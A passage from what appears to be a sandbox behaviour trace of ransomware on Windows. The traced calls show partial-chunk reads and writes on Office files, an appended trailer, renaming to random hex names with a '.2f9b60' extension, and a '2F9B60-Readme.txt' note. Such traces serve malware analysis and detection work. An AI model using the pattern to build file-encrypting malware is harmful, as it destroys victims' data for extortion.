| out: Seed=0x2675f9b0) returned 0x5d2d0852 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x5741c0a7 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x4183fbaa [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x5d34b560 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x33f3d4f [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x13e30788 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x4d76fa8b [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x7f0b9103 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x722a128b [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x10b55358 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x7953df6e [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x7d3f7d08 [0137.266] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x3cbe3a3b [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x2f62c0f9 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x7e0226d6 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x883b7d9 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x7e438714 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x37228d94 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x5065e99f [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x6f9f2262 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x79427392 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0xfecafb1 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x3c2e2d34 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x4515d30e [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x58459721 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x786a75c5 [0137.267] RtlRandomEx (in: Seed=0x2675f9b0 | out: Seed=0x2675f9b0) returned 0x4482164a [0137.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0137.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0137.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0137.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0137.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0137.276] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.276] ReadFile (in: hFile=0x1e10, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2675fa20, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x2675fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0137.294] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0137.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0137.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0137.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7a0) returned 1 [0137.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0137.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0137.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0137.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0137.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0137.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0137.297] WriteFile (in: hFile=0x1e10, lpBuffer=0x203118d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2675fa20, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesWritten=0x2675fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0137.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0137.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0137.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e7d0 [0137.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0137.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0137.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050d7e0 [0137.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0137.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0137.319] SetFilePointerEx (in: hFile=0x1e10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.319] WriteFile (in: hFile=0x1e10, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2675fad0, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2675fad0*=0x10a, lpOverlapped=0x0) returned 1 [0137.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0137.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0137.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0137.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0137.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0137.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0137.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0137.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0137.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ed30 [0137.361] sprintf (in: _Dest=0x1cd9ed30, _Format="%c%c" | out: _Dest="a6") returned 2 [0137.361] sprintf (in: _Dest=0x1cd9ed32, _Format="%c%c" | out: _Dest="08") returned 2 [0137.361] sprintf (in: _Dest=0x1cd9ed34, _Format="%c%c" | out: _Dest="72") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed36, _Format="%c%c" | out: _Dest="3b") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed38, _Format="%c%c" | out: _Dest="40") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed3a, _Format="%c%c" | out: _Dest="5b") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed3c, _Format="%c%c" | out: _Dest="9d") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed3e, _Format="%c%c" | out: _Dest="c9") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed40, _Format="%c%c" | out: _Dest="08") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed42, _Format="%c%c" | out: _Dest="65") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed44, _Format="%c%c" | out: _Dest="76") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed46, _Format="%c%c" | out: _Dest="a2") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed48, _Format="%c%c" | out: _Dest="d4") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed4a, _Format="%c%c" | out: _Dest="b1") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed4c, _Format="%c%c" | out: _Dest="2f") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed4e, _Format="%c%c" | out: _Dest="4a") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed50, _Format="%c%c" | out: _Dest="29") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed52, _Format="%c%c" | out: _Dest="64") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed54, _Format="%c%c" | out: _Dest="f9") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed56, _Format="%c%c" | out: _Dest="96") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed58, _Format="%c%c" | out: _Dest="a7") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed5a, _Format="%c%c" | out: _Dest="d2") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed5c, _Format="%c%c" | out: _Dest="d5") returned 2 [0137.362] sprintf (in: _Dest=0x1cd9ed5e, _Format="%c%c" | out: _Dest="20") returned 2 [0137.362] RtlInitAnsiString (in: DestinationString=0x2675fb48, SourceString="a608723b405b9dc9086576a2d4b12f4a2964f996a7d2d520" | out: DestinationString="a608723b405b9dc9086576a2d4b12f4a2964f996a7d2d520") [0137.362] RtlAnsiStringToUnicodeString (in: DestinationString=0x2675fb18, SourceString="a608723b405b9dc9086576a2d4b12f4a2964f996a7d2d520", AllocateDestinationString=1 | out: DestinationString="a608723b405b9dc9086576a2d4b12f4a2964f996a7d2d520") returned 0x0 [0137.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8bb0 [0137.363] RtlFreeAnsiString (AnsiString="a") [0137.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ed30) returned 1 [0137.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0137.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0137.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0137.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0137.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0137.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0137.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7a0) returned 1 [0137.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0137.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0137.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0137.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205c330 [0137.364] wcscat (in: _Dest=0x4205c330, _Source="a608723b405b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a608723b405b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a608723b405b" [0137.365] wcscat (in: _Dest=0x4205c330, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a608723b405b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a608723b405b.2f9b60" [0137.365] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a608723b405b.2f9b60", NtPathName=0x2675faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\a608723b405b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bf80 [0137.365] NtSetInformationFile (FileHandle=0x1e10, IoStatusBlock=0x2675fb90, FileInformation=0x2050bf80, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bf80) returned 1 [0146.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202925e0) returned 1 [0146.844] NtQueryInformationFile (in: FileHandle=0x1e10, IoStatusBlock=0x2675fb58, FileInformation=0x2675fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2675fb58, FileInformation=0x2675fb68) returned 0x0 [0146.844] NtSetInformationFile (FileHandle=0x1e10, IoStatusBlock=0x2675fb58, FileInformation=0x2675fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c330) returned 1 [0147.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8bb0) returned 1 [0147.011] FlushFileBuffers (hFile=0x1e10) returned 1 [0147.066] CloseHandle (hObject=0x1e10) returned 1 [0147.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b700 [0147.103] wcscpy (in: _Dest=0x1b86b700, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.103] wcscat (in: _Dest=0x1b86b700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b700) returned 1 [0147.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b1f0) returned 1 Thread: id = 1783 os_tid = 0xd20 [0132.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic")) returned 0x20 [0132.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic", dwFileAttributes=0x20) returned 1 [0133.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c88 [0135.021] GetFileSizeEx (in: hFile=0x1c88, lpFileSize=0x2878fb00 | out: lpFileSize=0x2878fb00*=1305074) returned 1 [0135.021] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0x13e9ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.021] ReadFile (in: hFile=0x1c88, lpBuffer=0x2878fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2878fac8, lpOverlapped=0x0 | out: lpBuffer=0x2878fa80*, lpNumberOfBytesRead=0x2878fac8*=0x4, lpOverlapped=0x0) returned 1 [0135.090] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0135.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0135.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a660 [0135.090] NtQuerySystemTime (in: CurrentTime=0x2878f9c0 | out: CurrentTime=0x2878f9c0*=132462177403294000) returned 0x0 [0135.090] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x498cb56e [0135.090] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x72744c32 [0135.090] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x1a560d11 [0135.090] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x61b1d8cc [0135.090] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x2e223d5f [0135.090] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x564f7c97 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x4a0b4d2 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x460d0b95 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x2815226e [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x4ded5c44 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x42031602 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x77f9de04 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x27778ae3 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x62390853 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x437ffbcc [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x4465275a [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x7896c4cb [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0xe32fcd9 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x445f6ca8 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x6bedc98b [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x4a7add35 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x3ee83e3e [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x4bf260ee [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x6355b0ac [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x13ab9f5f [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x1ed11619 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x2d457d20 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x6947d3ee [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x5b307465 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x11d060a3 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x73a39da7 [0135.091] RtlRandomEx (in: Seed=0x2878f9b0 | out: Seed=0x2878f9b0) returned 0x7a655abe [0135.102] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.102] ReadFile (in: hFile=0x1c88, lpBuffer=0x20368130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2878fa20, lpOverlapped=0x0 | out: lpBuffer=0x20368130*, lpNumberOfBytesRead=0x2878fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0135.125] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0135.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0135.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631d0) returned 1 [0135.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20377170 [0135.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0135.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260980 [0135.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260980) returned 1 [0135.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0135.128] WriteFile (hFile=0x1c88, lpBuffer=0x20377170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2878fa20, lpOverlapped=0x0) [0170.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20377170) returned 1 [0170.832] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0xa1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.832] ReadFile (in: hFile=0x1c88, lpBuffer=0x20368130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2878fa20, lpOverlapped=0x0 | out: lpBuffer=0x20368130*, lpNumberOfBytesRead=0x2878fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0170.908] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0xa1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0170.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0170.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f00d80 [0170.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0170.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0170.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0170.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.910] WriteFile (in: hFile=0x1c88, lpBuffer=0x41f00d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2878fa20, lpOverlapped=0x0 | out: lpBuffer=0x41f00d80*, lpNumberOfBytesWritten=0x2878fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f00d80) returned 1 [0194.665] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0x13adf2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.665] ReadFile (in: hFile=0x1c88, lpBuffer=0x20368130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2878fa20, lpOverlapped=0x0 | out: lpBuffer=0x20368130*, lpNumberOfBytesRead=0x2878fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.905] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0x13adf2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0194.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0194.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f5d0 [0194.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f5d0) returned 1 [0194.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0194.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f5d0 [0194.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f510 [0194.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f510) returned 1 [0194.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0194.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0194.908] WriteFile (in: hFile=0x1c88, lpBuffer=0x41fc4990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2878fa20, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesWritten=0x2878fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0205.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0205.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0010 [0205.392] SetFilePointerEx (in: hFile=0x1c88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.392] WriteFile (in: hFile=0x1c88, lpBuffer=0x1cebd000*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2878fad0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd000*, lpNumberOfBytesWritten=0x2878fad0*=0x148, 